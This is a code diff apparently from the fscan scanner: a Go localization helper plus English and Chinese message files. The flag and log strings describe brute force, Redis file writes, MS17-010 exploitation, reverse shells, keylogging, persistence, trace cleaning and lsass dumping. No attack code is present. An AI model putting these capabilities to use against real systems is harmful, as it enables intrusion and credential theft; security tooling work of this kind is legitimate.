func SetLanguage(l string) {
mu.Lock()
defer mu.Unlock()
lang = l
localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
}
// GetText 获取国际化文本(无参数)
func GetText(key string) string {
mu.RLock()
loc := localizer
mu.RUnlock()
msg, err := loc.Localize(&i18n.LocalizeConfig{
MessageID: key,
})
if err != nil || msg == "" {
return key
}
return msg
}
// Tr 获取国际化文本并格式化(变参版本)
// 参数按顺序映射为 {{.Arg1}}, {{.Arg2}}, ...
func Tr(key string, args ...interface{}) string {
mu.RLock()
loc := localizer
mu.RUnlock()
data := make(map[string]interface{})
for i, arg := range args {
data[fmt.Sprintf("Arg%d", i+1)] = arg
}
msg, err := loc.Localize(&i18n.LocalizeConfig{
MessageID: key,
TemplateData: data,
})
if err != nil || msg == "" {
return key
}
return msg
}
+763
View File
@@ -0,0 +1,763 @@
# fscan English translation file
# Contains only actually used messages (115)
# ========================= Command Line Arguments (71) =========================
flag_host:
other: "Target host: IP, IP range, IP file, domain"
flag_exclude_hosts:
other: "Exclude hosts"
flag_exclude_hosts_file:
other: "Exclude hosts file"
flag_ports:
other: "Ports: default 1000 common ports"
flag_exclude_ports:
other: "Exclude ports"
flag_hosts_file:
other: "Hosts file"
flag_ports_file:
other: "Ports file"
flag_scan_mode:
other: "Scan mode: all(all plugins), icmp(alive detection), or specific plugin names"
flag_thread_num:
other: "Port scan thread count"
flag_timeout:
other: "Port scan timeout"
flag_module_thread_num:
other: "Module thread count"
flag_global_timeout:
other: "Global timeout"
flag_disable_ping:
other: "Disable ping detection"
flag_disable_tcp_probe:
other: "Disable TCP supplementary probe"
flag_debug:
other: "Enable debug mode, write logs to fscan_debug.log"
flag_alive_only:
other: "Alive detection only"
flag_username:
other: "Username"
flag_password:
other: "Password"
flag_add_users:
other: "Additional usernames"
flag_add_passwords:
other: "Additional passwords"
flag_users_file:
other: "Username dictionary file"
flag_passwords_file:
other: "Password dictionary file"
flag_userpass_file:
other: "Username:password pairs file"
flag_hash_file:
other: "Hash file"
flag_hash_value:
other: "Hash value"
flag_domain:
other: "Domain name"
flag_ssh_key:
other: "SSH private key file"
flag_target_url:
other: "Target URL"
flag_urls_file:
other: "URLs file"
flag_cookie:
other: "HTTP Cookie"
flag_web_timeout:
other: "Web timeout"
flag_max_redirects:
other: "Maximum HTTP redirects"
flag_http_proxy:
other: "HTTP proxy"
flag_socks5_proxy:
other: "Use SOCKS5 proxy (e.g.: 127.0.0.1:1080)"
flag_iface:
other: "Specify local interface IP address (VPN scenario, e.g.: 10.8.0.5)"
flag_poc_path:
other: "POC script path"
flag_poc_name:
other: "POC name"
flag_poc_full:
other: "Full POC scan"
flag_dns_log:
other: "DNS logging"
flag_poc_num:
other: "POC concurrency"
flag_no_poc:
other: "Disable POC scan"
flag_redis_file:
other: "Redis file"
flag_redis_shell:
other: "Redis Shell"
flag_redis_write_path:
other: "Redis write path"
flag_redis_write_content:
other: "Redis write content"
flag_redis_write_file:
other: "Redis write file"
flag_disable_redis:
other: "Disable Redis exploitation"
flag_disable_brute:
other: "Disable brute force"
flag_max_retries:
other: "Maximum retries"
flag_packet_rate_limit:
other: "Maximum packets per minute (0 means no limit)"
flag_max_packet_count:
other: "Maximum total packet count for entire program (0 means no limit)"
flag_icmp_rate:
other: "ICMP packet rate (ratio to max rate, default 0.1, ~1463 pps)"
flag_output_file:
other: "Output file"
flag_output_format:
other: "Output format: txt, json, csv"
flag_disable_save:
other: "Disable result saving"
flag_silent_mode:
other: "Silent mode"
flag_no_color:
other: "Disable color output"
flag_log_level:
other: "Log level"
flag_disable_progress:
other: "Disable progress bar"
flag_shellcode:
other: "Shellcode"
flag_reverse_shell_target:
other: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)"
flag_start_socks5_server:
other: "Start SOCKS5 proxy server on port (e.g.: 1080)"
flag_forward_shell_port:
other: "Start forward shell server on port (e.g.: 4444)"
flag_persistence_file:
other: "Linux persistence target file path (supports .elf/.sh files)"
flag_win_pe_file:
other: "Windows persistence target PE file path (supports .exe/.dll files)"
flag_keylogger_output:
other: "Keylogger output file path"
flag_download_url:
other: "URL of the file to download"
flag_download_path:
other: "Save path for downloaded file"
flag_language:
other: "Language: zh, en"
flag_help:
other: "Show help information"
# ========================= Scan Mode Messages =========================
scan_mode_service_selected:
other: "Service scan mode selected"
scan_mode_alive_selected:
other: "Alive detection mode selected"
scan_mode_local_selected:
other: "Local scan mode selected"
scan_mode_web_selected:
other: "Web scan mode selected"
scan_info_start:
other: "Starting information scan"
scan_host_start:
other: "Starting host scan"
scan_vulnerability_start:
other: "Starting vulnerability scan"
scan_no_service_plugins:
other: "No available service plugins found"
# ========================= Scan Strategy Messages =========================
scan_strategy_alive_name:
other: "Alive Detection"
scan_strategy_alive_desc:
other: "Fast detection of host alive status"
scan_strategy_local_name:
other: "Local Scan"
scan_strategy_local_desc:
other: "Collect local system information"
scan_strategy_service_name:
other: "Service Scan"
scan_strategy_service_desc:
other: "Scan host services and vulnerabilities"
scan_strategy_web_name:
other: "Web Scan"
scan_strategy_web_desc:
other: "Scan web application vulnerabilities and information"
# ========================= Alive Detection Messages =========================
scan_alive_start:
other: "Starting alive detection"
scan_alive_summary_title:
other: "Alive Detection Summary"
scan_alive_hosts_list:
other: "Alive hosts list:"
# ========================= Progress Messages =========================
progress_scanning_description:
other: "Scanning Progress"
progress_scan_completed:
other: "Scan Completed:"
concurrency_plugin:
other: "Plugins"
concurrency_local_plugin:
other: "Local Plugins"
concurrency_service_plugin:
other: "Service Plugins"
concurrency_web_plugin:
other: "Web Plugins"
# ========================= Parse Error Messages =========================
parse_error_target_empty:
other: "Target input is empty"
parse_error_no_hosts:
other: "No valid target hosts found after parsing"
parse_error_empty_input:
other: "Input parameters are empty"
parse_error_parser_not_init:
other: "Parser not initialized"
target_local_mode:
other: "Local scan mode"
param_conflict_ao_icmp_both:
other: "Note: Both -ao and -m icmp specified, both enable alive detection mode"
# ========================= Parser Messages =========================
parser_empty_input:
other: "Input parameters are empty"
parser_file_scan_failed:
other: "File scan failed"
parser_username_invalid_chars:
other: "Username contains invalid characters"
parser_password_empty:
other: "Empty passwords not allowed"
parser_hash_empty:
other: "Hash value is empty"
parser_hash_invalid_format:
other: "Invalid hash format, requires 32-character hexadecimal"
# ========================= Config Messages =========================
config_web_timeout_warning:
other: "Web timeout is larger than normal timeout, may cause unexpected behavior"
# ========================= Plugin Scan Messages (with parameters) =========================
scan_plugin_not_found:
other: "No plugin found for scan type {{.Arg1}}, skipped"
# ========================= SSH Plugin Messages =========================
ssh_key_auth_success:
other: "SSH key authentication successful: {{.Arg1}} [{{.Arg2}}]"
ssh_pwd_auth_success:
other: "SSH password authentication successful: {{.Arg1}} [{{.Arg2}}:{{.Arg3}}]"
ssh_key_read_failed:
other: "Failed to read SSH private key: {{.Arg1}}"
ssh_service_identified:
other: "SSH service identified: {{.Arg1}} - {{.Arg2}}"
# ========================= Redis Plugin Messages =========================
redis_unauth_success:
other: "Redis unauthorized access: {{.Arg1}}"
redis_service_identified:
other: "Redis service identified: {{.Arg1}} - {{.Arg2}}"
# ========================= ICMP Messages =========================
trying_no_listen_icmp:
other: "Trying no-listen ICMP detection"
insufficient_privileges:
other: "Insufficient privileges for raw ICMP detection"
switching_to_ping:
other: "Switching to ping command mode"
icmp_listen_failed:
other: "ICMP listen failed: {{.Arg1}}"
icmp_connect_failed:
other: "ICMP connect failed: {{.Arg1}}"
icmp_listener_panic:
other: "ICMP listener goroutine panic: {{.Arg1}}"
host_alive:
other: "{{.Arg1}} alive (protocol: {{.Arg2}})"
proxy_mode_disable_icmp:
other: "Proxy mode detected, disabling ICMP scan"
segment_16_alive:
other: "{{.Arg1}}.0.0/16 segment alive: {{.Arg2}}"
segment_24_alive:
other: "{{.Arg1}}.0/24 segment alive: {{.Arg2}}"
tcp_probe_low_icmp_rate:
other: "Low ICMP response rate ({{.Arg1}}), enabling TCP supplementary probe ({{.Arg2}} hosts)"
tcp_probe_found:
other: "TCP probe found {{.Arg1}} alive hosts"
# ========================= Alive Scan Stats Messages =========================
parse_target_failed:
other: "Parse target failed: {{.Arg1}}"
alive_scan_start_single:
other: "Starting alive scan: {{.Arg1}}"
alive_scan_start_multi:
other: "Starting alive scan: {{.Arg1}} targets (first: {{.Arg2}})"
alive_total_hosts:
other: "Total hosts: {{.Arg1}}"
alive_hosts_count:
other: "Alive hosts: {{.Arg1}}"
alive_dead_hosts:
other: "Dead hosts: {{.Arg1}}"
alive_success_rate:
other: "Success rate: {{.Arg1}}"
alive_scan_duration:
other: "Scan duration: {{.Arg1}}"
alive_host_item:
other: " [{{.Arg1}}] {{.Arg2}}"
# ========================= Scanner Messages =========================
http_client_init_failed:
other: "HTTP client initialization failed: {{.Arg1}}"
active_reverse_shell:
other: "Active reverse shell detected, keeping program running..."
active_socks5_proxy:
other: "Active SOCKS5 proxy detected, keeping program running..."
active_forward_shell:
other: "Active forward shell detected, keeping program running..."
press_ctrl_c_exit:
other: "Press Ctrl+C to exit"
received_exit_signal:
other: "Received exit signal, shutting down..."
scan_task_complete:
other: "Scan task complete, duration {{.Arg1}}, scanned {{.Arg2}} targets"
plugin_panic:
other: "Plugin {{.Arg1}} panic while scanning {{.Arg2}}:{{.Arg3}}: {{.Arg4}}"
plugin_scan_error:
other: "Plugin scan error {{.Arg1}}:{{.Arg2}} - {{.Arg3}}"
brute_no_weak_pass:
other: "{{.Arg1}}:{{.Arg2}} {{.Arg3}} no weak password found"
# ========================= Port Scan Messages =========================
invalid_port:
other: "Invalid port: {{.Arg1}}"
port_scan_start:
other: "Starting port scan, {{.Arg1}} tasks, estimated {{.Arg2}} seconds ({{.Arg3}} minutes)"
thread_pool_create_failed:
other: "Failed to create thread pool: {{.Arg1}}"
port_scan_complete:
other: "Scan complete, found {{.Arg1}} open ports"
scan_failure_rate_high:
other: "Scan failure rate too high: {{.Arg1}} ({{.Arg2}}/{{.Arg3}} failed)"
scan_failure_reason:
other: "Possible reason: Thread count too high causing resource exhaustion"
scan_reduce_threads_suggestion:
other: "Suggestion: Reduce thread count (current {{.Arg1}}) to 50-100, or increase system ulimit"
scan_partial_failure:
other: "Partial port scan failure: {{.Arg1}} ({{.Arg2}}/{{.Arg3}})"
scan_reduce_threads_accuracy:
other: "Suggestion: Reduce thread count (current {{.Arg1}}) to improve accuracy"
resource_exhausted_warning:
other: "Resource exhausted errors {{.Arg1}} times, suggest reducing thread count (-t) or increase ulimit"
port_open:
other: "Port open {{.Arg1}}"
port_open_http:
other: "Port open {{.Arg1}} [http](HTTP probe)"
port_scan_no_alive_subnet:
other: "Subnet probe found no alive subnets, skipping port scan"
# ========================= Local Scan Messages =========================
local_plugin_info:
other: "Local plugin: {{.Arg1}}"
local_plugin_not_specified:
other: "Local plugin: Not specified"
local_plugin_not_found:
other: "Error: Local plugin '{{.Arg1}}' does not exist or is not available on current platform"
# ========================= Service Scan Messages =========================
service_plugin_info:
other: "Service plugins: {{.Arg1}}"
service_plugin_custom:
other: "Service plugins: Custom specified ({{.Arg1}})"
service_plugin_none:
other: "Service plugins: None available"
port_out_of_range:
other: "Port out of range: {{.Arg1}} (valid range: 1-65535)"
invalid_target_format:
other: "Invalid target format: {{.Arg1}}"
host_port_invalid:
other: "Host {{.Arg1}} port format invalid: {{.Arg2}}"
host_port_out_of_range:
other: "Host {{.Arg1}} port out of range: {{.Arg2}} (valid range: 1-65535)"
alive_hosts_count_info:
other: "Alive hosts count: {{.Arg1}}"
alive_ports_count:
other: "Alive ports count: {{.Arg1}}"
# ========================= Web Scan Messages =========================
http_proxy_config_error:
other: "HTTP proxy configuration error: {{.Arg1}}"
socks5_not_supported_web:
other: "Web detection does not support SOCKS5 proxy, recommend using HTTP proxy (-proxy)"
url_parse_failed:
other: "Failed to parse URL: {{.Arg1}} - {{.Arg2}}"
invalid_scan_target:
other: "Invalid scan target"
poc_load_failed:
other: "POC load failed, cannot execute scan"
# ========================= Base Scan Strategy Messages =========================
plugins_custom_specified:
other: "{{.Arg1}}: Custom specified ({{.Arg2}})"
plugins_info:
other: "{{.Arg1}}: {{.Arg2}}"
plugins_none:
other: "{{.Arg1}}: None available"
start_local_scan:
other: "Starting local scan"
start_service_scan:
other: "Starting service scan"
start_web_scan:
other: "Starting web scan"
start_scan:
other: "Starting scan"
# ========================= Service Plugin Messages =========================
# Format: {service}_{type} - type: credential/unauth/service/vuln
ldap_credential:
other: "LDAP {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
ldap_hash_credential:
other: "LDAP {{.Arg1}} {{.Arg2}}\\{{.Arg3}} [Hash:{{.Arg4}}]"
ldap_service:
other: "LDAP {{.Arg1}} {{.Arg2}}"
kafka_credential:
other: "Kafka {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
kafka_service:
other: "Kafka {{.Arg1}} {{.Arg2}}"
ftp_service:
other: "FTP {{.Arg1}} {{.Arg2}}"
rdp_service:
other: "RDP {{.Arg1}} {{.Arg2}}"
activemq_credential:
other: "ActiveMQ {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
activemq_service:
other: "ActiveMQ {{.Arg1}} {{.Arg2}}"
telnet_credential:
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
telnet_service:
other: "Telnet {{.Arg1}} {{.Arg2}}"
telnet_unauth_rce:
other: "Telnet {{.Arg1}} unauthorized RCE [{{.Arg2}}] {{.Arg3}}"
telnet_credential_rce:
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} RCE verified [{{.Arg4}}] {{.Arg5}}"
telnet_cve202624061:
other: "Telnet {{.Arg1}} CVE-2026-24061 Telnetd Authentication Bypass (user: {{.Arg2}}) {{.Arg3}}"
cassandra_credential:
other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
cassandra_service:
other: "Cassandra {{.Arg1}} {{.Arg2}}"
cassandra_unauth:
other: "Cassandra {{.Arg1}} No authentication required"
vnc_unauth:
other: "VNC {{.Arg1}} Unauthorized access"
vnc_credential:
other: "VNC {{.Arg1}} Password: {{.Arg2}}"
smtp_credential:
other: "SMTP {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
smtp_service:
other: "SMTP {{.Arg1}} {{.Arg2}}"
mongodb_unauth:
other: "MongoDB {{.Arg1}} Unauthorized access"
mongodb_credential:
other: "MongoDB {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
mongodb_auth_required:
other: "MongoDB {{.Arg1}} Authentication required"
elasticsearch_credential:
other: "Elasticsearch {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
elasticsearch_unauth:
other: "Elasticsearch {{.Arg1}} Unauthorized access"
elasticsearch_service:
other: "Elasticsearch {{.Arg1}} {{.Arg2}}"
mysql_credential:
other: "MySQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
mysql_service:
other: "MySQL {{.Arg1}} {{.Arg2}}"
memcached_unauth:
other: "Memcached {{.Arg1}} Unauthorized access"
memcached_service:
other: "Memcached {{.Arg1}} {{.Arg2}}"
rsync_credential:
other: "Rsync {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
rsync_service:
other: "Rsync {{.Arg1}} {{.Arg2}}"
oracle_credential:
other: "Oracle {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
oracle_service:
other: "Oracle {{.Arg1}} {{.Arg2}}"
oracle_default_account:
other: "Oracle {{.Arg1}} Default account: {{.Arg2}}:{{.Arg3}}"
postgresql_credential:
other: "PostgreSQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
postgresql_service:
other: "PostgreSQL {{.Arg1}} {{.Arg2}}"
postgresql_vuln:
other: "PostgreSQL {{.Arg1}} {{.Arg2}}"
smb_service:
other: "SMB {{.Arg1}} {{.Arg2}}"
rabbitmq_credential:
other: "RabbitMQ {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
rabbitmq_service:
other: "RabbitMQ {{.Arg1}} {{.Arg2}}"
neo4j_unauth:
other: "Neo4j {{.Arg1}} Unauthorized access"
neo4j_credential:
other: "Neo4j {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
neo4j_service:
other: "Neo4j {{.Arg1}} {{.Arg2}}"
mssql_credential:
other: "MSSQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
mssql_service:
other: "MSSQL {{.Arg1}} {{.Arg2}}"
# ========================= Vulnerability Detection Messages =========================
smbghost_vuln:
other: "SMB Ghost {{.Arg1}} CVE-2020-0796 Vulnerable"
ms17010_start:
other: "MS17-010 exploitation started: {{.Arg1}}"
ms17010_complete:
other: "MS17-010 exploitation completed: {{.Arg1}}"
ms17010_shellcode_complete:
other: "{{.Arg1}} MS17-010 exploitation completed (Shellcode length: {{.Arg2}})"
ms17010_protocol_decrypt_error:
other: "Protocol request decryption error: {{.Arg1}}"
ms17010_protocol_decode_error:
other: "Protocol request decoding error: {{.Arg1}}"
ms17010_session_decrypt_error:
other: "Session request decryption error: {{.Arg1}}"
ms17010_session_decode_error:
other: "Session request decoding error: {{.Arg1}}"
ms17010_connect_decrypt_error:
other: "Connection request decryption error: {{.Arg1}}"
ms17010_connect_decode_error:
other: "Connection request decoding error: {{.Arg1}}"
ms17010_pipe_decrypt_error:
other: "Pipe request decryption error: {{.Arg1}}"
ms17010_pipe_decode_error:
other: "Pipe request decoding error: {{.Arg1}}"
# ========================= Redis Plugin Messages =========================
redis_reconnect_failed:
other: "Failed to reconnect to Redis: {{.Arg1}}"
redis_config_failed:
other: "Failed to get Redis config: {{.Arg1}}"
redis_write_failed:
other: "File write failed: {{.Arg1}}"
redis_write_success:
other: "Successfully wrote file: {{.Arg1}}"
redis_read_failed:
other: "Failed to read local file: {{.Arg1}}"
redis_file_write_success:
other: "Successfully wrote content of {{.Arg1}} to {{.Arg2}}"
redis_ssh_key_failed:
other: "SSH key write failed: {{.Arg1}}"
redis_ssh_key_success:
other: "SSH key written successfully"
redis_cron_failed:
other: "Cron job write failed: {{.Arg1}}"
redis_cron_success:
other: "Cron job written successfully"
redis_restore_failed:
other: "Failed to restore database config: {{.Arg1}}"
# ========================= Local Plugin Messages =========================
# Cron task persistence
crontask_success:
other: "Cron task persistence completed: {{.Arg1}} methods succeeded"
# Keylogger
keylogger_success:
other: "Keylogging completed, captured {{.Arg1}} keyboard events"
keylogger_save_failed:
other: "Failed to save keylog: {{.Arg1}}"
keylogger_no_input:
other: "No keyboard input captured"
# Environment info
envinfo_sensitive:
other: "Found sensitive environment variable: {{.Arg1}}"
# Windows WMI
winwmi_success:
other: "Windows WMI event subscription persistence completed: {{.Arg1}} items"
# Cleaner
cleaner_success:
other: "Trace cleaning completed: {{.Arg1}} files, {{.Arg2}} system entries"
cleaner_history_found:
other: "Found history file: {{.Arg1}} (requires manual cleanup)"
# Downloader
downloader_success:
other: "File download completed: {{.Arg1}} -> {{.Arg2}} (size: {{.Arg3}} bytes)"
# Forward shell
forwardshell_complete:
other: "Forward shell service completed - port: {{.Arg1}}"
forwardshell_started:
other: "Forward shell server started on 0.0.0.0:{{.Arg1}}"
forwardshell_accept_failed:
other: "Failed to accept connection: {{.Arg1}}"
forwardshell_client_connected:
other: "Client connected from: {{.Arg1}}"
forwardshell_read_failed:
other: "Failed to read client command: {{.Arg1}}"
# AV detection
avdetect_load_failed:
other: "Failed to load AV database: {{.Arg1}}"
avdetect_loaded:
other: "Loaded {{.Arg1}} AV product info"
avdetect_found:
other: "Detected AV: {{.Arg1}} ({{.Arg2}} processes)"
avdetect_process:
other: " - {{.Arg1}}"
# Windows startup folder
winstartup_success:
other: "Windows startup folder persistence completed: {{.Arg1}} methods"
# File info
fileinfo_sensitive:
other: "Found sensitive file: {{.Arg1}}"
fileinfo_potential:
other: "Found potentially sensitive file: {{.Arg1}}"
# DC info
dcinfo_not_joined:
other: "Current computer is not joined to a domain"
dcinfo_success:
other: "Domain controller info collection completed: {{.Arg1}} categories succeeded"
# Windows service
winservice_success:
other: "Windows service persistence completed: {{.Arg1}} items"
# Shell environment
shellenv_success:
other: "Shell environment persistence completed: {{.Arg1}} methods succeeded"
# LD_PRELOAD
ldpreload_success:
other: "LD_PRELOAD persistence completed: {{.Arg1}} methods succeeded"
# SOCKS5 proxy
socks5_starting:
other: "Starting SOCKS5 proxy on port {{.Arg1}}"
socks5_complete:
other: "SOCKS5 proxy completed - port: {{.Arg1}}"
socks5_started:
other: "SOCKS5 proxy server started on 127.0.0.1:{{.Arg1}}"
socks5_cancelled:
other: "SOCKS5 proxy server cancelled by context"
socks5_accept_failed:
other: "Failed to accept connection: {{.Arg1}}"
socks5_handshake_failed:
other: "SOCKS5 handshake failed: {{.Arg1}}"
socks5_request_failed:
other: "SOCKS5 request handling failed: {{.Arg1}}"
socks5_connected:
other: "SOCKS5 proxy connection established"
# Reverse shell
reverseshell_complete:
other: "Reverse shell completed - target: {{.Arg1}}"
reverseshell_connected:
other: "Reverse shell connected to {{.Arg1}}:{{.Arg2}}"
# Systemd service
systemdservice_success:
other: "Systemd service persistence completed: {{.Arg1}} methods succeeded"
# System info
systeminfo_start:
other: "Starting system information collection"
systeminfo_os:
other: "Operating System: {{.Arg1}}"
systeminfo_arch:
other: "Architecture: {{.Arg1}}"
systeminfo_cpu:
other: "CPU Cores: {{.Arg1}}"
systeminfo_hostname:
other: "Hostname: {{.Arg1}}"
systeminfo_user:
other: "Current User: {{.Arg1}}"
systeminfo_homedir:
other: "Home Directory: {{.Arg1}}"
systeminfo_workdir:
other: "Working Directory: {{.Arg1}}"
systeminfo_tempdir:
other: "Temp Directory: {{.Arg1}}"
systeminfo_pathcount:
other: "PATH entries: {{.Arg1}}"
systeminfo_winver:
other: "Windows Version: {{.Arg1}}"
systeminfo_domain:
other: "User Domain: {{.Arg1}}"
systeminfo_kernel:
other: "System Kernel: {{.Arg1}}"
systeminfo_distro:
other: "Distribution: {{.Arg1}}"
systeminfo_distro_exists:
other: "Distribution: /etc/os-release exists"
systeminfo_whoami:
other: "Current User (whoami): {{.Arg1}}"
# Windows scheduled task
winschtask_success:
other: "Windows scheduled task persistence completed: {{.Arg1}} items"
# Windows registry
winregistry_success:
other: "Windows registry persistence completed: {{.Arg1}} items"
# Minidump
minidump_panic:
other: "Minidump plugin panic: {{.Arg1}}"
minidump_success:
other: "Successfully dumped lsass.exe memory to file: {{.Arg1}} (size: {{.Arg2}} bytes)"
# ========================= WebScan Messages =========================
webscan_target_url_failed:
other: "Failed to build target URL: {{.Arg1}}"
webscan_invalid_url:
other: "{{.Arg1}} {{.Arg2}}: {{.Arg3}}"
webscan_request_create_failed:
other: "Failed to create HTTP request: {{.Arg1}}"
webscan_builtin_poc_failed:
other: "Failed to load builtin POC directory: {{.Arg1}}"
webscan_poc_dir_not_exist:
other: "POC directory does not exist: {{.Arg1}}"
webscan_poc_dir_walk_failed:
other: "Failed to traverse POC directory: {{.Arg1}}"
webscan_rule_match_error:
other: "Rule match error [{{.Arg1}}]: {{.Arg2}}"
webscan_poc_exec_error:
other: "POC execution error {{.Arg1}}: {{.Arg2}}"
webscan_set_exec_error:
other: "Set execution error {{.Arg1}}: {{.Arg2}}"
webscan_regex_compile_error:
other: "Regex compile error: {{.Arg1}}"
webscan_reverse_url_error:
other: "Reverse URL parse error: {{.Arg1}}"
webscan_cel_syntax_error:
other: "CEL syntax error [{{.Arg1}}]: {{.Arg2}}"
webscan_cel_init_failed:
other: "Failed to initialize base CEL environment: {{.Arg1}}"
webscan_request_restricted:
other: "POC HTTP request {{.Arg1}} restricted: {{.Arg2}}"
webscan_response_parse_failed:
other: "Response parse failed: {{.Arg1}}"
# Main entry
param_error:
other: "Parameter error: {{.Arg1}}"
error_generic:
other: "Error: {{.Arg1}}"
init_failed:
other: "Initialization failed: {{.Arg1}}"
poc_load_complete:
other: "POC loading complete: Total {{.Arg1}}, Success {{.Arg2}}, Failed {{.Arg3}}"
redis_scan_success:
other: "Redis {{.Arg1}} {{.Arg2}}"
rabbitmq_detected:
other: "RabbitMQ {{.Arg1}} {{.Arg2}}"
# ========================= Web UI Messages =========================
web_server_started:
other: "Web server started on port: {{.Arg1}}"
web_shutting_down:
other: "Web server shutting down..."
web_mode_not_supported:
other: "Web mode not supported in this build, rebuild with: go build -tags web"
+763
View File
@@ -0,0 +1,763 @@
# fscan 中文翻译文件
# 仅包含实际使用的消息(115个)
# ========================= 命令行参数 (71个) =========================
flag_host:
other: "目标主机: IP, IP段, IP段文件, 域名"
flag_exclude_hosts:
other: "排除主机"
flag_exclude_hosts_file:
other: "排除主机文件"
flag_ports:
other: "端口: 默认1000个常用端口"
flag_exclude_ports:
other: "排除端口"
flag_hosts_file:
other: "主机文件"
flag_ports_file:
other: "端口文件"
flag_scan_mode:
other: "扫描模式: all(全部), icmp(存活探测), 或指定插件名称"
flag_thread_num:
other: "端口扫描线程数"
flag_timeout:
other: "端口扫描超时时间"
flag_module_thread_num:
other: "模块线程数"
flag_global_timeout:
other: "全局超时时间"
flag_disable_ping:
other: "禁用ping探测"
flag_disable_tcp_probe:
other: "禁用TCP补充探测"
flag_debug:
other: "开启调试模式,日志写入fscan_debug.log"
flag_alive_only:
other: "仅进行存活探测"
flag_username:
other: "用户名"
flag_password:
other: "密码"
flag_add_users:
other: "额外用户名"
flag_add_passwords:
other: "额外密码"
flag_users_file:
other: "用户名字典文件"
flag_passwords_file:
other: "密码字典文件"
flag_userpass_file:
other: "用户名:密码对文件"
flag_hash_file:
other: "哈希文件"
flag_hash_value:
other: "哈希值"
flag_domain:
other: "域名"
flag_ssh_key:
other: "SSH私钥文件"
flag_target_url:
other: "目标URL"
flag_urls_file:
other: "URL文件"
flag_cookie:
other: "HTTP Cookie"
flag_web_timeout:
other: "Web超时时间"
flag_max_redirects:
other: "HTTP最大重定向次数"
flag_http_proxy:
other: "HTTP代理"
flag_socks5_proxy:
other: "使用SOCKS5代理 (如: 127.0.0.1:1080)"
flag_iface:
other: "指定本地网卡IP地址 (VPN场景,如: 10.8.0.5)"
flag_poc_path:
other: "POC脚本路径"
flag_poc_name:
other: "POC名称"
flag_poc_full:
other: "全量POC扫描"
flag_dns_log:
other: "DNS日志记录"
flag_poc_num:
other: "POC并发数"
flag_no_poc:
other: "禁用POC扫描"
flag_redis_file:
other: "Redis文件"
flag_redis_shell:
other: "Redis Shell"
flag_redis_write_path:
other: "Redis写入路径"
flag_redis_write_content:
other: "Redis写入内容"
flag_redis_write_file:
other: "Redis写入文件"
flag_disable_redis:
other: "禁用Redis利用"
flag_disable_brute:
other: "禁用暴力破解"
flag_max_retries:
other: "最大重试次数"
flag_packet_rate_limit:
other: "每分钟最大发包次数 (0表示不限制)"
flag_max_packet_count:
other: "整个程序最大发包总数 (0表示不限制)"
flag_icmp_rate:
other: "ICMP发包速率 (相对于最大速率的比例,默认0.1,约1463 pps)"
flag_output_file:
other: "输出文件"
flag_output_format:
other: "输出格式: txt, json, csv"
flag_disable_save:
other: "禁用结果保存"
flag_silent_mode:
other: "静默模式"
flag_no_color:
other: "禁用颜色输出"
flag_log_level:
other: "日志级别"
flag_disable_progress:
other: "禁用进度条"
flag_shellcode:
other: "Shellcode"
flag_reverse_shell_target:
other: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)"
flag_start_socks5_server:
other: "启动SOCKS5代理服务器端口 (如: 1080)"
flag_forward_shell_port:
other: "启动正向Shell服务器端口 (如: 4444)"
flag_persistence_file:
other: "Linux持久化目标文件路径 (支持.elf/.sh文件)"
flag_win_pe_file:
other: "Windows持久化目标PE文件路径 (支持.exe/.dll文件)"
flag_keylogger_output:
other: "键盘记录输出文件路径"
flag_download_url:
other: "要下载的文件URL"
flag_download_path:
other: "下载文件保存路径"
flag_language:
other: "语言: zh, en"
flag_help:
other: "显示帮助信息"
# ========================= 扫描模式消息 =========================
scan_mode_service_selected:
other: "已选择服务扫描模式"
scan_mode_alive_selected:
other: "已选择存活探测模式"
scan_mode_local_selected:
other: "已选择本地扫描模式"
scan_mode_web_selected:
other: "已选择Web扫描模式"
scan_info_start:
other: "开始信息扫描"
scan_host_start:
other: "开始主机扫描"
scan_vulnerability_start:
other: "开始漏洞扫描"
scan_no_service_plugins:
other: "未找到可用的服务插件"
# ========================= 扫描策略消息 =========================
scan_strategy_alive_name:
other: "存活探测"
scan_strategy_alive_desc:
other: "快速探测主机存活状态"
scan_strategy_local_name:
other: "本地扫描"
scan_strategy_local_desc:
other: "收集本地系统信息"
scan_strategy_service_name:
other: "服务扫描"
scan_strategy_service_desc:
other: "扫描主机服务和漏洞"
scan_strategy_web_name:
other: "Web扫描"
scan_strategy_web_desc:
other: "扫描Web应用漏洞和信息"
# ========================= 存活探测消息 =========================
scan_alive_start:
other: "开始存活探测"
scan_alive_summary_title:
other: "存活探测结果摘要"
scan_alive_hosts_list:
other: "存活主机列表:"
# ========================= 进度消息 =========================
progress_scanning_description:
other: "扫描进度"
progress_scan_completed:
other: "扫描完成:"
concurrency_plugin:
other: "插件"
concurrency_local_plugin:
other: "本地插件"
concurrency_service_plugin:
other: "服务插件"
concurrency_web_plugin:
other: "Web插件"
# ========================= 解析错误消息 =========================
parse_error_target_empty:
other: "目标输入为空"
parse_error_no_hosts:
other: "解析后没有找到有效的目标主机"
parse_error_empty_input:
other: "输入参数为空"
parse_error_parser_not_init:
other: "解析器未初始化"
target_local_mode:
other: "本地扫描模式"
param_conflict_ao_icmp_both:
other: "提示: 同时指定了 -ao 和 -m icmp,两者功能相同,使用存活探测模式"
# ========================= 解析器消息 =========================
parser_empty_input:
other: "输入参数为空"
parser_file_scan_failed:
other: "文件扫描失败"
parser_username_invalid_chars:
other: "用户名包含非法字符"
parser_password_empty:
other: "不允许空密码"
parser_hash_empty:
other: "哈希值为空"
parser_hash_invalid_format:
other: "哈希值格式无效,需要32位十六进制字符"
